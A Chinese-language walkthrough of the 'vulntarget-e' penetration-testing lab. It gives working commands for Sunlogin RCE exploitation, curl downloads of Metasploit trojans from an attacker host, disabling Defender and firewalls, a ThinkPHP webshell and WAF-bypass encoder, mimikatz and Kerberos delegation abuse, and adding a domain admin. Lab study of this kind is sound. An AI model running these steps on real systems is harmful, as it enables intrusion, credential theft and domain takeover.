vulntarget-e 打靶
1.外网靶机(win2016)
端口扫描,49773端口存在向日葵服务
扫描是否存在向日葵rce
https://github.com/Mr-xn/sunlogin_rce
尝试执行命令
1
| sunRce.exe -t rce -p 49773 -h 192.168.237.139 -c "whoami"
|
生成msf木马 python开启http服务下载木马 有windows Defender(关闭) 关闭防火墙
1 2 3 4
| python -m http.server 80 sunRce.exe -t rce -p 49773 -h 192.168.237.139 -c "curl -o c://bb.exe http://192.168.237.129/bind.exe" sunRce.exe -t rce -p 49773 -h 192.168.237.139 -c "set-MpPreference -DisableRealtimeMonitoring $true" sunRce.exe -t rce -p 49773 -h 192.168.237.139 -c "netsh advfirewall set allprofiles state off"
|
msf 开启监听 执行木马,成功收到会话
看一下系统权限,不需要提权
查一下ip信息,以及在不在域中 有乱码 chcp 65001
1 2
| net view /domain dir c://user
|
1 2
| ipconfig /all 存在 192.168.100.155/24 网段
|
添加路由
加载mimikatz 看看能不能读取密码
破解一下hash
1 2 3
| reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
|
使用venom代理
2.Ubuntu
挂代理扫描端口发现存活ip
扫描目录没有进展,登录浏览器查看了一下浏览记录
发现了三个记录
1 2 3
| http://192.168.100.131/ http://192.168.100.131/vulntarget/public/ http://192.168.100.131/vulntarget/public/index.php
|
400 联系到前面给的域名 进行host碰撞
最终找到
1
| 192.168.100.131 -- www.cJO6w10YLS.com 协议:http:// 数据包大小:649 标题:vulntarget后台登录界面
|
修改hosts文件 将域名和ip做绑定 (挂代理访问)
访问http://192.168.100.131/vulntarget/public/ 找到thinkphp框架
网上找的payload被waf拦截了
system还被禁用了
试着使用file_put_contents 写文件的payload
1
| s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=<?php phpinfo(); ?>
|
又被waf拦截了,先试试能不能写进去
在本目录写文件会被拦截,上一级目录也会被拦截,最终在上两级目录写下
因为还有宝塔waf,还要考虑绕waf, urldecode三次编码
蚁剑加个编码器,挂上代理连蚁剑
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 'use strict';
// ########## 请在下方编写你自己的代码 ################### function forceEncode(s) { return Array.from(s).map(i=>'%'+i.charCodeAt(0).toString(16).padStart(2,'0')).join('') }
module.exports = (pwd, data, ext={}) => { const payload = data['_'] data[pwd] = forceEncode(forceEncode(payload)); delete data['_']; console.log(data); return data; }
|
还要记得配置一下host 要不连不上
翻到了一个key,直接ssh连接
直接用key远连拿到root权限,进来先关闭一下防火墙
1 2 3 4
| ufw status #查看防火墙状态 ufw disable #关闭防火墙 iptables -A INPUT -j ACCEPT #允许所有的入站连接和流量通过防火墙 iptables -A OUTPUT -j ACCEPT #允许所有的出站连接和流量通过防火墙
|
查看内网网段发现,发现192.168.88.100/24 网段
上传venom客户端再加一层代理
win2008
上传fscan扫内网 存在445端口
smb 爆破 试试
有了账户密码横向移动
ubuntu存在python 直接开启一个http服务传一个msf木马上去
1
| curl -o ddd.exe http://xxx/ddd.exe
|
msf上线
getsystem 抓一下密码
抓到了一个密码先存起来
域控
非约束性委派
上传Adfind kekeo mimikatz 并开启3389
1 2 3 4 5 6 7 8
| #查询域中配置非约束委派的主机 AdFind.exe -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn #查询域中配置非约束委派的服务账户 AdFind.exe -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn # AdFind.exe -h 10.0.10.10 -u win2008 -up qweASD123 -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto cn distinguishedName msds-allowedtodelegateto:指定要返回的属性列表,包括 cn、distinguishedName 和 msds-allowedtodelegateto。 该命令的目的是在指定的 Active Directory 中查找满足条件的委派账户,并返回这些账户的 cn、distinguishedName 和 msds-allowedtodelegateto 属性值。
|
1 2 3 4
| #请求约束性委派用户的TGT tgt::ask /user:win2008 /domain:vulntarget.com /password:qweASD123 /ticket:ash.kirbi #伪造S4U请求并访问CIFS服务 tgs::s4u /tgt:TGT_win2008@VULNTARGET.COM_krbtgt~vulntarget.com@VULNTARGET.COM.kirbi /user:Administrator@vulntarget.com /service:cifs/WIN-1PV25H8UJPN.vulntarget.com
|
利用mimikatz
导入S4U2proxy阶段生成的ST并访问域控10.10主机
1 2 3 4 5 6
| #导入ST privilege::debug kerberos::ptt TGS_Administrator@vulntarget.com@VULNTARGET.COM_cifs~WIN-1PV25H8UJPN.vulntarget.com@VULNTARGET.COM.kirbi
#执行命令 dir \\WIN-1PV25H8UJPN.vulntarget.com\C$
|
添加账户,横向移动
1 2 3
| net user admin admin123 /add /domain #创建一个名为 "admin" 的用户,并将其添加到域中。用户的密码为 "admin"。使用 /domain 参数指定在域中执行操作 net group "domain admins" admin /add /domain #将用户 "admin" 添加到 "domain admins" 组中。使用 /domain 参数指定在域中执行操作。此命令假设 "domain admins" 组已经存在。 net group "domain admins" /domain #显示 "domain admins" 组的成员列表。使用 /domain 参数指定在域中执行操作。该命令并未指定要添加或删除成员,只是查看组的成员信息。
|
挂代理横向移动
1
| python wmiexec.py admin:admin123@10.10.10.10
|
至此拿到域控权限